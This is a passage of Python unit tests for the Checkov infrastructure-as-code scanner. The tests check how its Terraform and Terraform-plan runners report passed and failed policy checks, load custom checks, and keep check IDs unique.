runner_filter=RunnerFilter(framework=["terraform_plan"], checks=["CKV2_AWS_40", "CKV_AWS_287"]), ) # then summary = report.get_summary() self.assertEqual(summary["passed"], 2) # "aws_iam_policy.policy_pass" passes both checks self.assertEqual(summary["failed"], 6) # the rest fails both checks passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) def test_runner_with_iam_data_block(self): # given tf_file_path = Path(__file__).parent / "resources/plan_with_iam_data_block/tfplan.json" failing_resources = { "data.aws_iam_policy_document.allow_access_from_another_account", } # when report = Runner().run( root_folder=None, files=[str(tf_file_path)], external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform_plan"], checks=["CKV_AWS_49"]), ) # then summary = report.get_summary() self.assertEqual(summary["passed"], 0) self.assertEqual(summary["failed"], 1) failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(failing_resources, failed_check_resources) @mock.patch.dict(os.environ, {'CHECKOV_EXPERIMENTAL_CROSS_VARIABLE_EDGES': 'True'}) def test_plan_and_tf_combine_graph(self): tf_file_path = Path(__file__).parent / "resources/plan_and_tf_combine_graph/tfplan.json" repo_path = Path(__file__).parent / "resources/plan_and_tf_combine_graph" # deep_analysis disabled report = Runner().run( root_folder=None, files=[str(tf_file_path)], external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform_plan"], checks=["CKV2_AWS_6"], deep_analysis=False, repo_root_for_plan_enrichment=[repo_path]) ) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.failed_checks), 2) # deep_analysis enabled report = Runner().run( root_folder=None, files=[str(tf_file_path)], external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform_plan"], checks=["CKV2_AWS_6"], deep_analysis=True, repo_root_for_plan_enrichment=[repo_path]) ) self.assertEqual(len(report.passed_checks), 2) self.assertEqual(len(report.failed_checks), 0) expected_addresses = ['aws_s3_bucket.example', 'aws_s3_bucket.example_2'] report_addresses = [report.passed_checks[0].resource_address, report.passed_checks[1].resource_address] assert sorted(expected_addresses) == sorted(report_addresses) assert report.passed_checks[0].file_path.endswith('.json') assert report.passed_checks[1].file_path.endswith('.json') @mock.patch.dict(os.environ, {'EVAL_TF_PLAN_AFTER_UNKNOWN': 'True'}) def test_plan_and_tf_combine_graph_with_missing_resources(self): tf_file_path = Path(__file__).parent / "resources/plan_and_tf_combine_graph_with_missing_resources/tfplan.json" repo_path = Path(__file__).parent / "resources/plan_and_tf_combine_graph_with_missing_resources" # deep_analysis disabled report = Runner().run( root_folder=None, files=[str(tf_file_path)], external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform_plan"], checks=["CKV2_AWS_61"], deep_analysis=False, repo_root_for_plan_enrichment=[repo_path]) ) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.failed_checks), 2) # deep_analysis enabled report = Runner().run( root_folder=None, files=[str(tf_file_path)], external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform_plan"], checks=["CKV2_AWS_61"], deep_analysis=True, repo_root_for_plan_enrichment=[repo_path]) ) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.failed_checks), 2) expected_addresses = ['aws_s3_bucket.example', 'aws_s3_bucket.example_2'] report_addresses = [report.failed_checks[0].resource_address, report.failed_checks[1].resource_address] assert sorted(expected_addresses) == sorted(report_addresses) def test_plan_resources_ids(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan_resources_ids_with_nested_modules/tfplan.json" valid_resources_ids = ["module.child_0.module.child_1_c.aws_eks_cluster.cluster", "module.child_0.module.child_1_b.aws_eks_cluster.cluster", "module.child_0.module.child_1_a.aws_eks_cluster.cluster"] runner = Runner() runner.graph_registry.checks = [] report = runner.run( root_folder=None, files=[valid_plan_path], external_checks_dir=[current_dir + "/extra_yaml_checks"], runner_filter=RunnerFilter(framework=["terraform_plan"]), ) self.assertGreater(report.get_summary()["failed"] + report.get_summary()["passed"], 0) for check in itertools.chain(report.failed_checks, report.passed_checks): self.assertIn(check.resource, valid_resources_ids) self.assertEqual(len(report.resources), 3) def test_plan_resources_created_by_modules(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/extra_tf_plan_checks/modules.json" runner = Runner() report = runner.run( root_folder=None, external_checks_dir=None, files=[valid_plan_path], runner_filter=RunnerFilter(checks=['CKV2_GCP_12', 'CKV_GCP_88']) ) passed_checks_CKV2_GCP_12 = [check for check in report.passed_checks if check.check_id == 'CKV2_GCP_12'] passed_checks_CKV_GCP_88 = [check for check in report.passed_checks if check.check_id == 'CKV_GCP_88'] assert passed_checks_CKV2_GCP_12[0].resource == 'module.achia_test_valid_443.google_compute_firewall.custom[0]' assert passed_checks_CKV2_GCP_12[1].resource == 'module.achia_test_valid_ports.google_compute_firewall.custom[0]' assert passed_checks_CKV2_GCP_12[2].resource == 'module.achia_test_violating_no_ports.google_compute_firewall.custom[0]' assert passed_checks_CKV2_GCP_12[3].resource == 'module.achia_test_violating_port.google_compute_firewall.custom[0]' assert passed_checks_CKV_GCP_88[0].resource == 'module.achia_test_valid_443.google_compute_firewall.custom[0]' assert passed_checks_CKV_GCP_88[1].resource == 'module.achia_test_valid_ports.google_compute_firewall.custom[0]' assert passed_checks_CKV_GCP_88[2].resource == 'module.achia_test_violating_no_ports.google_compute_firewall.custom[0]' assert passed_checks_CKV_GCP_88[3].resource == 'module.achia_test_violating_port.google_compute_firewall.custom[0]' def test___get_file_path__with_tf_definition_key_uses_correct_file_path(self): tf_definition = TFDefinitionKey(file_path='test') file_path, scanned_file = Runner()._get_file_path(tf_definition, 'test') assert file_path == 'test' assert scanned_file == '/.' def test_plan_change_keys(self): # given current_dir = Path(__file__).parent tf_plan_path = current_dir / "resources/plan_change_keys/tfplan.json" external_checks_dir = current_dir / "extra_tf_plan_checks" # when report = Runner().run( root_folder=None, files=[str(tf_plan_path)], external_checks_dir=[str(external_checks_dir)], runner_filter=RunnerFilter(framework=["terraform_plan"], checks=["CUSTOM_CHANGE_1"]), ) # then summary = report.get_summary() passing_resources = { 'aws_security_group_rule.foo' } failing_resources = { 'aws_security_group_rule.bar', } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["failed"], 1) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(summary["resource_count"], 2) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) def test_plan_with_providers(self): """ Ensure AWS providers are parsed correctly and the credentials check runs against providers with aliases, too. """ current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan_with_providers/tfplan.json" runner = Runner(db_connector=self.db_connector()) checks_allowlist = ["CKV_AWS_41"] report = runner.run( root_folder=None, files=[valid_plan_path], external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform_plan"], checks=checks_allowlist), ) report_json = report.get_json() self.assertIsInstance(report_json, str) self.assertIsNotNone(report_json) for record in report.failed_checks: self.assertIn(record.check_id, checks_allowlist) self.assertEqual(report.get_summary()["failed"], 1) self.assertEqual(report.get_summary()["passed"], 2) def tearDown(self) -> None: resource_registry.checks = deepcopy(self.orig_checks) BaseCheckRegistry._BaseCheckRegistry__all_registered_checks = deepcopy(self.orig_all_registered_checks) def test_get_entity_id(self): resource_type_dict = {'__address__': 'azure.storage_use_azuread', '__end_line__': [14], '__start_line__': [0], 'alias': ['storage_use_azuread'], 'end_line': [14], 'start_line': [0], 'storage_use_azuread': True} resource_name = "storage_use_azuread" assert get_entity_id(resource_type_dict, resource_name) == 'azure.storage_use_azuread' if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/runner/test_runner.py ================================================ from copy import deepcopy import inspect import os import shutil import unittest import dis from collections import defaultdict from pathlib import Path # do not remove; prevents circular import error from typing import Dict, Any from unittest import mock from networkx import DiGraph from parameterized import parameterized, parameterized_class from rustworkx import PyDiGraph from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.common.checks_infra.registry import get_graph_checks_registry from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.models.enums import CheckCategories, CheckResult, ParallelizationType from checkov.common.output.report import Report from checkov.common.parallelizer.parallel_runner import parallel_runner from checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR from checkov.common.util.parser_utils import TERRAFORM_NESTED_MODULE_PATH_PREFIX, TERRAFORM_NESTED_MODULE_PATH_ENDING, \ TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR from checkov.runner_filter import RunnerFilter from checkov.terraform import TFDefinitionKey from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.terraform.context_parsers.registry import parser_registry from checkov.terraform.graph_manager import TerraformGraphManager from checkov.terraform.tf_parser import TFParser from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.registry import resource_registry from checkov.terraform.checks.module.registry import module_registry from checkov.terraform.checks.provider.registry import provider_registry from checkov.terraform.checks.data.registry import data_registry from checkov.common.util.env_vars_config import env_vars_config CUSTOM_GRAPH_CHECK_ID = 'CKV2_CUSTOM_1' EXTERNAL_MODULES_DOWNLOAD_PATH = os.environ.get('EXTERNAL_MODULES_DIR', DEFAULT_EXTERNAL_MODULES_DIR) @parameterized_class([ {"db_connector": NetworkxConnector, "tf_split_graph": "True", "graph": "NETWORKX"}, {"db_connector": NetworkxConnector, "tf_split_graph": "False", "graph": "NETWORKX"}, {"db_connector": RustworkxConnector, "tf_split_graph": "True", "graph": "RUSTWORKX"}, {"db_connector": RustworkxConnector, "tf_split_graph": "False", "graph": "RUSTWORKX"}, ]) class TestRunnerValid(unittest.TestCase): def setUp(self) -> None: self.orig_checks = deepcopy(resource_registry.checks) self.orig_wildcard_checks = deepcopy(resource_registry.wildcard_checks) self.parallelization_type = parallel_runner.type self.db_connector = self.db_connector os.environ["CHECKOV_GRAPH_FRAMEWORK"] = self.graph os.environ["TF_SPLIT_GRAPH"] = self.tf_split_graph def tearDown(self): parser_registry.context = {} resource_registry.checks = self.orig_checks resource_registry.wildcard_checks = self.orig_wildcard_checks parallel_runner.type = self.parallelization_type del os.environ["CHECKOV_GRAPH_FRAMEWORK"] del os.environ["TF_SPLIT_GRAPH"] def test_registry_has_type(self): self.assertEqual(resource_registry.report_type, CheckType.TERRAFORM) self.assertEqual(provider_registry.report_type, CheckType.TERRAFORM) self.assertEqual(module_registry.report_type, CheckType.TERRAFORM) self.assertEqual(data_registry.report_type, CheckType.TERRAFORM) def test_runner_two_checks_only(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/example" runner = Runner(db_connector=self.db_connector()) checks_allowlist = ['CKV_AWS_41', 'CKV_AZURE_1'] report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=["all"], checks=checks_allowlist)) report_json = report.get_json() self.assertIsInstance(report_json, str) self.assertIsNotNone(report_json) self.assertIsNotNone(report.get_test_suite()) for record in report.failed_checks: self.assertIn(record.check_id, checks_allowlist) def test_runner_denylist_checks(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/example" runner = Runner(db_connector=self.db_connector()) checks_denylist = ['CKV_AWS_41', 'CKV_AZURE_1'] report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=["all"], skip_checks=checks_denylist)) report_json = report.get_json() self.assertIsInstance(report_json, str) self.assertIsNotNone(report_json) self.assertIsNotNone(report.get_test_suite()) self.assertEqual(report.get_exit_code( {'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 1) self.assertEqual(report.get_exit_code( {'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0) for record in report.failed_checks: self.assertNotIn(record.check_id, checks_denylist) def test_runner_valid_tf(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/example" runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=valid_dir_path, external_checks_dir=None) report_json = report.get_json() self.assertIsInstance(report_json, str) self.assertIsNotNone(report_json) self.assertIsNotNone(report.get_test_suite()) self.assertEqual(report.get_exit_code( {'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 1) self.assertEqual(report.get_exit_code( {'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0) summary = report.get_summary() self.assertGreaterEqual(summary['passed'], 1) self.assertGreaterEqual(summary['failed'], 1) self.assertEqual(summary["parsing_errors"], 1) report.print_json() report.print_console() report.print_console(is_quiet=True) report.print_console(is_quiet=True, is_compact=True) report.print_failed_github_md() def test_py_graph_check(self): if not self.db_connector == RustworkxConnector: return current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/py_graph_check" valid_dir_path_for_external_check = current_dir + '/py_graph_check' runner = Runner(db_connector=self.db_connector()) checks_allowlist = ['CKV_AWS_000'] report = runner.run(root_folder=valid_dir_path, external_checks_dir=[valid_dir_path_for_external_check], runner_filter=RunnerFilter(framework=["terraform"], checks=checks_allowlist)) report_json = report.get_json() self.assertIsInstance(report_json, str) self.assertIsNotNone(report_json) self.assertIsNotNone(report.get_test_suite()) assert len(report.failed_checks) == 2 assert len(report.passed_checks) == 2 failed_resources = [c.resource for c in report.failed_checks] passed_resources = [c.resource for c in report.passed_checks] assert 'aws_db_instance.storage_encrypted_enabled' in passed_resources assert 'aws_db_instance.default_connected_to_provider_with_fips' in passed_resources assert 'aws_db_instance.default' in failed_resources assert 'aws_db_instance.disabled' in failed_resources def test_for_each_check(self): if not self.db_connector == RustworkxConnector: return current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/for_each" runner = Runner(db_connector=self.db_connector()) checks_allowlist = ['CKV_AWS_186', 'CKV_AWS_88'] report = runner.run(root_folder=valid_dir_path, runner_filter=RunnerFilter(framework=["terraform"], checks=checks_allowlist)) report_json = report.get_json() self.assertIsInstance(report_json, str) self.assertIsNotNone(report_json) self.assertIsNotNone(report.get_test_suite()) assert len(report.failed_checks) == 2 assert len(report.skipped_checks) == 2 assert len(report.passed_checks) == 0 failed_resources = [c.resource for c in report.failed_checks] assert 'module.simple[0].aws_s3_bucket_object.this_file' in failed_resources assert 'module.simple[1].aws_s3_bucket_object.this_file' in failed_resources def test_runner_passing_valid_tf(self): current_dir = os.path.dirname(os.path.realpath(__file__)) passing_tf_dir_path = current_dir + "/resources/valid_tf_only_passed_checks" runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=passing_tf_dir_path, external_checks_dir=None) report_json = report.get_json() self.assertIsInstance(report_json, str) self.assertIsNotNone(report_json) self.assertIsNotNone(report.get_test_suite()) self.assertEqual(report.get_exit_code( {'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 1) summary = report.get_summary() self.assertGreaterEqual(summary['passed'], 1) self.assertEqual(10, summary['failed']) self.assertEqual(1, summary['skipped']) self.assertEqual(0, summary["parsing_errors"]) def test_runner_passing_multi_line_ternary_tf(self): current_dir = os.path.dirname(os.path.realpath(__file__)) tf_dir_path = current_dir + "/resources/mutli_line_ternary" runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=tf_dir_path, external_checks_dir=None) self.assertListEqual(report.parsing_errors, []) def test_runner_extra_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) # should load checks recursively tf_dir_path = current_dir + "/resources/extra_check_test" extra_checks_dir_path = [current_dir + "/extra_checks"] runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=tf_dir_path, external_checks_dir=extra_checks_dir_path) report_json = report.get_json() for check in resource_registry.checks["aws_s3_bucket"]: if check.id in ("CUSTOM_AWS_1", "CUSTOM_AWS_2"): resource_registry.checks["aws_s3_bucket"].remove(check) self.assertIsInstance(report_json, str) self.assertIsNotNone(report_json) self.assertIsNotNone(report.get_test_suite()) passing_custom = 0 failed_custom = 0 for record in report.passed_checks: if record.check_id in ("CUSTOM_AWS_1", "CUSTOM_AWS_2"): passing_custom = passing_custom + 1 for record in report.failed_checks: if record.check_id in ("CUSTOM_AWS_1", "CUSTOM_AWS_2"): failed_custom = failed_custom + 1 self.assertEqual(2, passing_custom) self.assertEqual(4, failed_custom) # Remove external checks from registry. runner.graph_registry.checks[:] = [check for check in runner.graph_registry.checks if "CUSTOM" not in check.id] def test_runner_extra_yaml_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) tf_dir_path = current_dir + "/resources/extra_check_test" extra_checks_dir_path = [current_dir + "/extra_yaml_checks"] runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=tf_dir_path, external_checks_dir=extra_checks_dir_path) report_json = report.get_json() for check in resource_registry.checks["aws_s3_bucket"]: if check.id in ("CUSTOM_AWS_1", "CUSTOM_AWS_2"): resource_registry.checks["aws_s3_bucket"].remove(check) self.assertIsInstance(report_json, str) self.assertIsNotNone(report_json) self.assertIsNotNone(report.get_test_suite()) passing_custom = 0 failed_custom = 0 for record in report.passed_checks: if record.check_id == "CKV2_CUSTOM_1": passing_custom = passing_custom + 1 for record in report.failed_checks: if record.check_id == "CKV2_CUSTOM_1": failed_custom = failed_custom + 1 self.assertEqual(passing_custom, 0) self.assertEqual(failed_custom, 3) graph_record = next(record for record in report.failed_checks if record.check_id == "CKV2_CUSTOM_1") self.assertEqual(graph_record.guideline, "https://docs.bridgecrew.io/docs/ckv2_custom_1") # Remove external checks from registry. runner.graph_registry.checks[:] = [check for check in runner.graph_registry.checks if "CUSTOM" not in check.id] def test_runner_provider_yaml_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) tf_dir_path = current_dir + "/resources/provider_blocks" extra_checks_dir_path = [current_dir + "/extra_yaml_checks"] runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=tf_dir_path, external_checks_dir=extra_checks_dir_path, runner_filter=RunnerFilter(checks=['CUSTOM_GRAPH_AWS_3', 'CUSTOM_GRAPH_AWS_4'])) report_json = report.get_json() self.assertIsInstance(report_json, str) self.assertIsNotNone(report_json) self.assertIsNotNone(report.get_test_suite()) self.assertEqual(7, len(report.passed_checks)) self.assertEqual(3, len(report.failed_checks)) # Remove external checks from registry. runner.graph_registry.checks[:] = [check for check in runner.graph_registry.checks if "CUSTOM" not in check.id] def test_runner_yaml_module_check(self): # given current_dir = Path(__file__).parent tf_dir_path = current_dir / "resources/module_check" extra_checks_dir_path = current_dir / "extra_yaml_checks" runner = Runner(db_connector=self.db_connector()) # when report = runner.run( root_folder=str(tf_dir_path), external_checks_dir=[str(extra_checks_dir_path)], runner_filter=RunnerFilter(checks=["CUSTOM_GRAPH_AWS_2"]) ) # then summary = report.get_summary() passing_resources = {"pass"} failing_resources = {"fail"} passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) # Remove external checks from registry. runner.graph_registry.checks[:] = [check for check in runner.graph_registry.checks if "CUSTOM" not in check.id] def test_runner_specific_file(self): current_dir = os.path.dirname(os.path.realpath(__file__)) passing_tf_file_path = current_dir + "/resources/valid_tf_only_passed_checks/example.tf" runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=None, external_checks_dir=None, files=[passing_tf_file_path]) report_json = report.get_json() self.assertIsInstance(report_json, str) self.assertIsNotNone(report_json) self.assertIsNotNone(report.get_test_suite()) # self.assertEqual(report.get_exit_code(), 0) summary = report.get_summary() self.assertGreaterEqual(summary['passed'], 1) self.assertEqual(6, summary['failed']) self.assertEqual(0, summary["parsing_errors"]) def test_check_ids_dont_collide(self): runner = Runner(db_connector=self.db_connector()) unique_checks = {} bad_checks = [] for registry in list(runner.block_type_registries.values()): checks = [check for entity_type in list(registry.checks.values()) for check in entity_type] for check in checks: if check.id not in unique_checks: unique_checks[check.id] = check elif check != unique_checks[check.id]: # A single check can have multiple resource blocks it checks, which means it will show up multiple times in the registry bad_checks.append(f'{check.id}: {check.name}') print(f'{check.id}: {check.name}') self.assertEqual(len(bad_checks), 0, f'Bad checks: {bad_checks}') def test_no_missing_ids(self): runner = Runner(db_connector=self.db_connector()) unique_checks = set() graph_checks = [] # python checks for registry in list(runner.block_type_registries.values()): checks = [check for entity_type in list(registry.checks.values()) for check in entity_type] for check in checks: unique_checks.add(check.id) # graph checks graph_registry = get_graph_checks_registry("terraform") graph_registry.load_checks() for check in graph_registry.checks: if check.id.startswith("CKV_"): unique_checks.add(check.id) else: graph_checks.append(check) aws_checks = sorted( list(filter(lambda check_id: check_id.startswith("CKV_AWS_"), unique_checks)), reverse=True, key=lambda s: int(s.split('_')[-1]) ) for i in range(1, len(aws_checks) + 8): if f'CKV_AWS_{i}' == 'CKV_AWS_4': # CKV_AWS_4 was deleted due to https://github.com/bridgecrewio/checkov/issues/371 continue if f'CKV_AWS_{i}' in ('CKV_AWS_132', 'CKV_AWS_125', 'CKV_AWS_151', 'CKV_AWS_128'): # These checks were removed because they were duplicates continue if f'CKV_AWS_{i}' in 'CKV_AWS_95': # CKV_AWS_95 is currently implemented just on cfn - actually is CKV_AWS_76 continue if f'CKV_AWS_{i}' == 'CKV_AWS_52': # CKV_AWS_52 was deleted since it cannot be toggled in terraform. continue if f'CKV_AWS_{i}' == 'CKV_AWS_299': # CKV_AWS_299 was deleted because AWS doesn't support it and seems to be a bug in Terraform. # https://github.com/hashicorp/terraform-provider-aws/issues/31821 continue if f'CKV_AWS_{i}' == 'CKV_AWS_188': # CKV_AWS_188 was deleted because it duplicated CKV_AWS_142 continue if f'CKV_AWS_{i}' == 'CKV_AWS_384': # CKV_AWS_384 is CFN only continue self.assertIn(f'CKV_AWS_{i}', aws_checks, msg=f'The new AWS violation should have the ID "CKV_AWS_{i}"') gcp_checks = sorted( list(filter(lambda check_id: '_GCP_' in check_id, unique_checks)), reverse=True, key=lambda s: int(s.split('_')[-1]) ) for i in range(1, len(gcp_checks) + 2): if f'CKV_GCP_{i}' == 'CKV_GCP_5': # CKV_GCP_5 is no longer a valid platform check continue if f'CKV_GCP_{i}' == 'CKV_GCP_19': # CKV_GCP_19 involved a configuration which was deprecated by GCP continue if f'CKV_GCP_{i}' == 'CKV_GCP_67': # CKV_GCP_67 is not deployable anymore https://cloud.google.com/kubernetes-engine/docs/how-to/hardening-your-cluster#protect_node_metadata continue self.assertIn(f'CKV_GCP_{i}', gcp_checks, msg=f'The new GCP violation should have the ID "CKV_GCP_{i}"') azure_checks = sorted( list(filter(lambda check_id: '_AZURE_' in check_id, unique_checks)), reverse=True, key=lambda s: int(s.split('_')[-1]) ) for i in range(1, len(azure_checks) + 4): if f'CKV_AZURE_{i}' == 'CKV_AZURE_46': continue # this rule has been merged into a v2 graph implementation -> CKV_AZURE_24 if f'CKV_AZURE_{i}' == 'CKV_AZURE_51': continue # https://github.com/bridgecrewio/checkov/pull/983 if f"CKV_AZURE_{i}" == "CKV_AZURE_60": continue # duplicate of CKV_AZURE_3 if f"CKV_AZURE_{i}" == "CKV_AZURE_90": continue # duplicate of CKV_AZURE_53 if f"CKV_AZURE_{i}" == "CKV_AZURE_243": continue # ARM only check, not a Terraform check self.assertIn(f'CKV_AZURE_{i}', azure_checks, msg=f'The new Azure violation should have the ID "CKV_AZURE_{i}"') alicloud_checks = sorted( list(filter(lambda check_id: '_ALI_' in check_id, unique_checks)), reverse=True, key=lambda s: int(s.split('_')[-1]) ) for i in range(1, len(alicloud_checks) + 1): if f"CKV_ALI_{i}" == "CKV_ALI_34": continue # duplicate of CKV_ALI_30 if f"CKV_ALI_{i}" in ("CKV_ALI_39", "CKV_ALI_40"): continue # can't find a reference for it self.assertIn(f"CKV_ALI_{i}", alicloud_checks, msg=f'The new Alibaba Cloud violation should have the ID "CKV_ALI_{i}"') # add cloudformation checks to graph checks graph_registry = get_graph_checks_registry("cloudformation") graph_registry.load_checks() graph_checks.extend(list(filter(lambda check: 'CKV2_' in check.id, graph_registry.checks))) aws_checks, gcp_checks, azure_checks = [], [], [] for check in graph_checks: if '_AWS_' in check.id: aws_checks.append(check.id) elif '_GCP_' in check.id: gcp_checks.append(check.id) elif '_AZURE_' in check.id: azure_checks.append(check.id) for check_list in [aws_checks, gcp_checks, azure_checks]: check_list.sort(reverse=True, key=lambda s: int(s.split('_')[-1])) for i in range(1, len(aws_checks) + 2): if f'CKV2_AWS_{i}' == 'CKV2_AWS_17': # CKV2_AWS_17 was overly keen and those resources it checks are created by default continue if f'CKV2_AWS_{i}' == 'CKV2_AWS_13': # CKV2_AWS_13 is not supported by AWS continue if f'CKV2_AWS_{i}' == 'CKV2_AWS_24': # Was a test policy continue if f'CKV2_AWS_{i}' == 'CKV2_AWS_25': # Was a test policy continue if f'CKV2_AWS_{i}' == 'CKV2_AWS_26': # Was a test policy continue if f'CKV2_AWS_{i}' == 'CKV2_AWS_67': # Too many edge cases for ways to get a KMS key connected to S3 continue if f'CKV2_AWS_{i}' == 'CKV2_AWS_70': # Added as a Python check continue self.assertIn(f'CKV2_AWS_{i}', aws_checks, msg=f'The new AWS violation should have the ID "CKV2_AWS_{i}"') for i in range(1, len(gcp_checks) + 1): self.assertIn(f'CKV2_GCP_{i}', gcp_checks, msg=f'The new GCP violation should have the ID "CKV2_GCP_{i}"') for i in range(1, len(azure_checks) + 1): if f'CKV2_AZURE_{i}' == 'CKV2_AZURE_18': # duplicate of CKV2_AZURE_1 continue self.assertIn(f'CKV2_AZURE_{i}', azure_checks, msg=f'The new Azure violation should have the ID "CKV2_AZURE_{i}"') def test_provider_uniqueness(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/many_providers" runner = Runner(db_connector=self.db_connector()) result = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(checks='CKV_AWS_41')) self.assertEqual(len(result.passed_checks), 17) self.assertIn('aws.default', map(lambda record: record.resource, result.passed_checks)) # check if a one line provider is correctly processed provider = next(check for check in result.passed_checks if check.resource == "aws.one-line") self.assertIsNotNone(provider.file_line_range) def test_entire_resources_folder(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/" runner = Runner(db_connector=self.db_connector()) result = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter( checks=['CKV_AWS_21', 'CKV_AWS_42', 'CKV_AWS_62', 'CKV_AWS_53', 'CKV_AWS_18', 'CKV_AWS_61', 'CKV_AWS_144', 'CKV_AWS_145', 'CKV_AWS_115', 'CKV_AWS_116', 'CKV_AWS_117', 'CKV_AWS_6', 'CKV_AWS_168', 'CKV_AWS_170', 'CKV_AWS_171', 'CKV_AWS_172', 'CKV_AWS_37', 'CKV_AWS_38', 'CKV_AWS_39', 'CKV_AWS_107', 'CKV_AWS_109', 'CKV_AWS_110'], framework=['terraform'])) self.assertEqual(len(result.passed_checks), 52) self.assertEqual(len(result.failed_checks), 263) self.assertEqual(len(result.skipped_checks), 0) def test_modules_folder_with_files_args(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources" runner = Runner(db_connector=self.db_connector()) res = [] for (dir_path, dir_names, file_names) in os.walk(valid_dir_path): for file in file_names: res.append(os.path.join(dir_path, file)) result = runner.run(files=res, root_folder=None, external_checks_dir=None, runner_filter=RunnerFilter( checks=['CKV_AWS_21', 'CKV_AWS_42', 'CKV_AWS_62', 'CKV_AWS_109', 'CKV_AWS_168', 'CKV_AWS_53', 'CKV_AWS_18', 'CKV_AWS_61', 'CKV_AWS_144', 'CKV_AWS_170', 'CKV_AWS_145', 'CKV_AWS_115', 'CKV_AWS_116', 'CKV_AWS_117', 'CKV_AWS_6', 'CKV_AWS_171', 'CKV_AWS_172', 'CKV_AWS_37', 'CKV_AWS_38', 'CKV_AWS_39', 'CKV_AWS_107', 'CKV_AWS_110'], framework=['terraform'])) self.assertEqual(len(result.passed_checks), 51) self.assertEqual(len(result.failed_checks), 271) self.assertEqual(len(result.skipped_checks), 0) def test_terraform_module_checks_are_performed(self): check_name = "TF_M_1" from checkov.common.models.enums import CheckResult from checkov.terraform.checks.module.base_module_check import BaseModuleCheck from checkov.terraform.checks.module.registry import module_registry class ModuleCheck(BaseModuleCheck): def __init__(self): name = "Test check" id = check_name supported_resources = ['module'] categories = [] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_module_conf(self, conf): return CheckResult.PASSED check = ModuleCheck() current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources/valid_tf_only_module_usage") runner = Runner(db_connector=self.db_connector()) result = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(checks=check_name)) # unregister check for resource in check.supported_resources: module_registry.checks[resource].remove(check) self.assertEqual(len(result.passed_checks), 1) self.assertIn('some-module', map(lambda record: record.resource, result.passed_checks)) def test_terraform_module_checks_are_performed_even_if_supported_resources_is_omitted(self): check_name = 